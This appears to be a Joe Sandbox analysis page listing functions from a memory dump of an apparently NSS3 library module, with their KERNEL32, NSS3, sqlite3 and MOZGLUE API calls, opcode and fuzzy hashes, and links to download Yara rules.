Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Arena_CriticalEnterFreeSectionUnlockUtilValue$CertificateDestroy
String ID:
API String ID: 3953697463-0
Opcode ID: f317125a56d30f306c78dbf51e2e2cb588446b13830d3d1788ddc541fc639f18
Instruction ID: d2d445b883cb46cb85bf650c7bdf2cb09232ef24a6935ca5669747e7bead1dcb
Opcode Fuzzy Hash: f317125a56d30f306c78dbf51e2e2cb588446b13830d3d1788ddc541fc639f18
Instruction Fuzzy Hash: 61512AB69002009BEB109F75DC88BAB77F9EF86308B1B4129DC29D7701EB31F855CA95

Function 6D010C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6D011444,?,00000001,?,00000000,00000000,?,?,6D011444,?,?,00000000,?,?), ref: 6D010CB3

Part of subcall function 6D07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D07C2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6D011444,?,00000001,?,00000000,00000000,?,?,6D011444,?), ref: 6D010DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6D011444,?,00000001,?,00000000,00000000,?,?,6D011444,?), ref: 6D010DEC

Part of subcall function 6D030F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CFD2AF5,?,?,?,?,?,6CFD0A1B,00000000), ref: 6D030F1A
Part of subcall function 6D030F10: malloc.MOZGLUE(00000001), ref: 6D030F30
Part of subcall function 6D030F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6D030F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6D011444,?,00000001,?,00000000,00000000,?), ref: 6D010DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6D011444,?,00000001,?,00000000), ref: 6D010E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6D011444,?,00000001,?,00000000,00000000,?), ref: 6D010E53
PR_GetCurrentThread.NSS3(?,?,?,?,6D011444,?,00000001,?,00000000,00000000,?,?,6D011444,?,?,00000000), ref: 6D010E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6D011444,?,00000001,?,00000000,00000000,?), ref: 6D010E79

Part of subcall function 6D021560: TlsGetValue.KERNEL32(00000000,?,6CFF0844,?), ref: 6D02157A
Part of subcall function 6D021560: EnterCriticalSection.KERNEL32(?,?,?,6CFF0844,?), ref: 6D02158F
Part of subcall function 6D021560: PR_Unlock.NSS3(?,?,?,?,6CFF0844,?), ref: 6D0215B2

Part of subcall function 6CFEB1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6CFF1397,00000000,?,6CFECF93,5B5F5EC0,00000000,?,6CFF1397,?), ref: 6CFEB1CB
Part of subcall function 6CFEB1A0: free.MOZGLUE(5B5F5EC0,?,6CFECF93,5B5F5EC0,00000000,?,6CFF1397,?), ref: 6CFEB1D2

Part of subcall function 6CFE89E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6CFE88AE,-00000008), ref: 6CFE8A04
Part of subcall function 6CFE89E0: EnterCriticalSection.KERNEL32(?), ref: 6CFE8A15
Part of subcall function 6CFE89E0: memset.VCRUNTIME140(6CFE88AE,00000000,00000132), ref: 6CFE8A27
Part of subcall function 6CFE89E0: PR_Unlock.NSS3(?), ref: 6CFE8A35

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 2ed69da6bd8419e4e581ca3618d6469b93892d1ab7d21578803614352c885533
Instruction ID: 85a00034e17d586037745e8d11d69c08d8afe3f58d615fb90750d528a1e85c62
Opcode Fuzzy Hash: 2ed69da6bd8419e4e581ca3618d6469b93892d1ab7d21578803614352c885533
Instruction Fuzzy Hash: 4151B3F6D082015FFB119FA5DC81BBF37E8EF05258F454024ED599B312EB22ED2586A2

Function 6CFC6E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6CFC6ED8
sqlite3_value_text.NSS3(?,?), ref: 6CFC6EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6CFC6FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6CFC6FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6CFC6FF0
sqlite3_value_blob.NSS3(?,?), ref: 6CFC7010
sqlite3_value_blob.NSS3(?,?), ref: 6CFC701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6CFC7052

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: 3278d563dc6fa803f1f818d171d945f5fc571df7d808a243db288df96e1b7076
Instruction ID: 27353640d196d8f61bf14d6c1f207e3933455dc78888026afe59ad3fb41773d3
Opcode Fuzzy Hash: 3278d563dc6fa803f1f818d171d945f5fc571df7d808a243db288df96e1b7076
Instruction Fuzzy Hash: 9761A3B2F0920B8FEB00CB65D8507BFB7B2AF85308F184165E415AB751E7329C06CB92

Function 6D038F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6D037313), ref: 6D038FBB

Part of subcall function 6D0307B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CFD8298,?,?,?,6CFCFCE5,?), ref: 6D0307BF
Part of subcall function 6D0307B0: PL_HashTableLookup.NSS3(?,?), ref: 6D0307E6
Part of subcall function 6D0307B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6D03081B
Part of subcall function 6D0307B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6D030825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6D037313), ref: 6D039012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6D037313), ref: 6D03903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6D037313), ref: 6D03909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6D037313), ref: 6D0390DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6D037313), ref: 6D0390F1

Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D0310F3
Part of subcall function 6D0310C0: EnterCriticalSection.KERNEL32(?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03110C
Part of subcall function 6D0310C0: PL_ArenaAllocate.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031141
Part of subcall function 6D0310C0: PR_Unlock.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031182
Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6D037313), ref: 6D03906B

Part of subcall function 6D07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D07C2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6D037313), ref: 6D039128

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: d74b386fbfd4a493b34598b2aa4439a08caa2f84f7b78d121327e0e1e742bc0e
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: DC515D75A042238FFB109F6AEC84B2AB3F9AF48354F074469D955D7361EB71E800CBA1

Function 6CFE9C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6CFE8850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6CFF0715), ref: 6CFE8859
Part of subcall function 6CFE8850: PR_NewLock.NSS3 ref: 6CFE8874
Part of subcall function 6CFE8850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6CFE888D

PR_NewLock.NSS3 ref: 6CFE9CAD

Part of subcall function 6D0998D0: calloc.MOZGLUE(00000001,00000084,6CFC0936,00000001,?,6CFC102C), ref: 6D0998E5

Part of subcall function 6CFC07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CF5204A), ref: 6CFC07AD
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF5204A), ref: 6CFC07CD
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF5204A), ref: 6CFC07D6
Part of subcall function 6CFC07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CF5204A), ref: 6CFC07E4
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,6CF5204A), ref: 6CFC0864
Part of subcall function 6CFC07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CFC0880
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,?,6CF5204A), ref: 6CFC08CB
Part of subcall function 6CFC07A0: TlsGetValue.KERNEL32(?,?,6CF5204A), ref: 6CFC08D7
Part of subcall function 6CFC07A0: TlsGetValue.KERNEL32(?,?,6CF5204A), ref: 6CFC08FB

TlsGetValue.KERNEL32 ref: 6CFE9CE8
EnterCriticalSection.KERNEL32(?,?,6CFEECEC,6CFF2FCD,00000000,?,6CFF2FCD,?), ref: 6CFE9D01
TlsGetValue.KERNEL32(?,?,?,6CFEECEC,6CFF2FCD,00000000,?,6CFF2FCD,?), ref: 6CFE9D38
EnterCriticalSection.KERNEL32(?,?,6CFEECEC,6CFF2FCD,00000000,?,6CFF2FCD,?), ref: 6CFE9D4D
PR_Unlock.NSS3 ref: 6CFE9D70
PR_Unlock.NSS3 ref: 6CFE9DC3
PR_NewLock.NSS3 ref: 6CFE9DDD

Part of subcall function 6CFE88D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CFF0725,00000000,00000058), ref: 6CFE8906
Part of subcall function 6CFE88D0: EnterCriticalSection.KERNEL32(?), ref: 6CFE891A
Part of subcall function 6CFE88D0: PL_ArenaAllocate.NSS3(?,?), ref: 6CFE894A
Part of subcall function 6CFE88D0: calloc.MOZGLUE(00000001,6CFF072D,00000000,00000000,00000000,?,6CFF0725,00000000,00000058), ref: 6CFE8959
Part of subcall function 6CFE88D0: memset.VCRUNTIME140(?,00000000,?), ref: 6CFE8993
Part of subcall function 6CFE88D0: PR_Unlock.NSS3(?), ref: 6CFE89AF

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: 203ec87e66a3d5df3e6c6eb412f805acbb689bdce386f95b3b6a02575bae47a9
Instruction ID: a0e54fe3a9853351bb1aefeb1a8e20e6f0e59ce1c3967c759d5e285a161a653f
Opcode Fuzzy Hash: 203ec87e66a3d5df3e6c6eb412f805acbb689bdce386f95b3b6a02575bae47a9
Instruction Fuzzy Hash: 435192B1A04715AFDB10EF68C08479EBBF4BF48344F018529D898DB710EB70E984CBA1

Function 6D0E9EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6D0E9EC0
EnterCriticalSection.KERNEL32(?), ref: 6D0E9EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6D0E9F73
EnterCriticalSection.KERNEL32(?), ref: 6D0E9FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6D0E9FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6D0E9FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6D0EA01D

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: 9ba9ba27959b0603b47d19a05d8c487865c3d3f5d1e3fe1cc9ffcacd5a06ec8c
Instruction ID: 6bf1e3ef6e2e1d7c0749ad0ec4ad2a5c7460577c822a45ad7e2ae5e8d21a6a43
Opcode Fuzzy Hash: 9ba9ba27959b0603b47d19a05d8c487865c3d3f5d1e3fe1cc9ffcacd5a06ec8c
Instruction Fuzzy Hash: C751CDB2804601DFEB20DF25E88476AB7F0FF48359F26856AD9595B312E731E881CBD1

Function 6CFF4E50 Relevance: 12.1, APIs: 8, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CFF4E90
EnterCriticalSection.KERNEL32 ref: 6CFF4EA9
TlsGetValue.KERNEL32 ref: 6CFF4EC6
EnterCriticalSection.KERNEL32 ref: 6CFF4EDF
PL_HashTableLookup.NSS3 ref: 6CFF4EF8
PR_Unlock.NSS3 ref: 6CFF4F05
PR_Now.NSS3 ref: 6CFF4F13
PR_Unlock.NSS3 ref: 6CFF4F3A

Part of subcall function 6CFC07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CF5204A), ref: 6CFC07AD
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF5204A), ref: 6CFC07CD
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF5204A), ref: 6CFC07D6
Part of subcall function 6CFC07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CF5204A), ref: 6CFC07E4
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,6CF5204A), ref: 6CFC0864
Part of subcall function 6CFC07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CFC0880
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,?,6CF5204A), ref: 6CFC08CB
Part of subcall function 6CFC07A0: TlsGetValue.KERNEL32(?,?,6CF5204A), ref: 6CFC08D7
Part of subcall function 6CFC07A0: TlsGetValue.KERNEL32(?,?,6CF5204A), ref: 6CFC08FB

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID:
API String ID: 326028414-0
Opcode ID: 5f4cb6e03743cfba75cecf91b9bd7975733a6c164e0152de3572ca964c87cad9
Instruction ID: 11b53bb37326297a7d918f2ec487d457cdee4f19e68101bd5d6c0d9e446b3e90
Opcode Fuzzy Hash: 5f4cb6e03743cfba75cecf91b9bd7975733a6c164e0152de3572ca964c87cad9
Instruction Fuzzy Hash: 9A4148B4A046059FDB00DF78D5849AABBF4FF89314B028569ED599B320EB30E891CF91

Function 6CFDDCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CFDDCFA

Part of subcall function 6D099DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6D0E0A27), ref: 6D099DC6
Part of subcall function 6D099DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6D0E0A27), ref: 6D099DD1
Part of subcall function 6D099DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6D099DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CFDDD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CFDDD62
CERT_DestroyCertificate.NSS3(?), ref: 6CFDDD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6CFDDD81
CERT_RemoveCertListNode.NSS3(?), ref: 6CFDDD8F

Part of subcall function 6CFF06A0: TlsGetValue.KERNEL32 ref: 6CFF06C2
Part of subcall function 6CFF06A0: EnterCriticalSection.KERNEL32(?), ref: 6CFF06D6
Part of subcall function 6CFF06A0: PR_Unlock.NSS3 ref: 6CFF06EB

CERT_DestroyCertificate.NSS3(?), ref: 6CFDDD9E
CERT_DestroyCertificate.NSS3(?), ref: 6CFDDDB7

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: 35b233973026c753733684600b1e894cb6d9dc456046093d9a971fb34ad196c1
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: CE218EB6E011159BDF019E94DC40B9FBBB4AF09218B1E0034ED14A7715EB21F915CBF2

Function 6D065F60 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6D06AADB,?,?,?,?,?,?,?,?,00000000,?,6D0680C1), ref: 6D065F72

Part of subcall function 6CFCED70: DeleteCriticalSection.KERNEL32(?), ref: 6CFCED8F
Part of subcall function 6CFCED70: DeleteCriticalSection.KERNEL32(?), ref: 6CFCED9E
Part of subcall function 6CFCED70: DeleteCriticalSection.KERNEL32(?), ref: 6CFCEDA4

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6D06AADB,?,?,?,?,?,?,?,?,00000000,?,6D0680C1), ref: 6D065F8F
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6D06AADB,?,?,?,?,?,?,?,?,00000000,?,6D0680C1), ref: 6D065FCC
free.MOZGLUE(?,?,6D06AADB,?,?,?,?,?,?,?,?,00000000,?,6D0680C1), ref: 6D065FD3
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6D06AADB,?,?,?,?,?,?,?,?,00000000,?,6D0680C1), ref: 6D065FF4
free.MOZGLUE(?,?,6D06AADB,?,?,?,?,?,?,?,?,00000000,?,6D0680C1), ref: 6D065FFB
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6D06AADB,?,?,?,?,?,?,?,?,00000000,?,6D0680C1), ref: 6D066019
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6D06AADB,?,?,?,?,?,?,?,?,00000000,?,6D0680C1), ref: 6D066036

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalDeleteSection$DestroyMonitor$free
String ID:
API String ID: 227462623-0
Opcode ID: 0421a808819451dd6dad16a5801911c53fa1104dcb5de8daab12f7f17d1d9029
Instruction ID: 1de04ae1fdd79e6ba6984197833b5ae938a2cd0584c68d9d03411dbff021d126
Opcode Fuzzy Hash: 0421a808819451dd6dad16a5801911c53fa1104dcb5de8daab12f7f17d1d9029
Instruction Fuzzy Hash: E3211DB5604B41ABEB108F75D809BE777E8AF45708F040928E55A87641EB76E014CBE2

Function 6CFD3C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6D04460B,?,?), ref: 6CFD3CA9
EnterCriticalSection.KERNEL32(?), ref: 6CFD3CB9
PL_HashTableLookup.NSS3(?), ref: 6CFD3CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6CFD3CD6
PR_Unlock.NSS3 ref: 6CFD3CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6CFD3CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CFD3D03
PR_Unlock.NSS3 ref: 6CFD3D15

Part of subcall function 6D07DD70: TlsGetValue.KERNEL32 ref: 6D07DD8C
Part of subcall function 6D07DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6D07DDB4

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: 083439d63473abee865732841012fada35c34ac7b8fdc4477227ddcf40317e24
Instruction ID: faed1bacf219449337603a90dc947f8c3b1433a148cbe9f559bf101a38e5b1f3
Opcode Fuzzy Hash: 083439d63473abee865732841012fada35c34ac7b8fdc4477227ddcf40317e24
Instruction Fuzzy Hash: 76112CBBD01505B7EB112B24FC05BA63A7DEF4225CB1F0130EE1893611F762E86C8AD1

Function 6CFD9C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CFF11C0: PR_NewLock.NSS3 ref: 6CFF1216

free.MOZGLUE(?), ref: 6CFD9E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFD9E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFD9E4E
TlsGetValue.KERNEL32 ref: 6CFD9EA2

Part of subcall function 6CFE9500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6CFE9546

EnterCriticalSection.KERNEL32(?), ref: 6CFD9EB6
PR_Unlock.NSS3 ref: 6CFD9ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CFD9F18

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
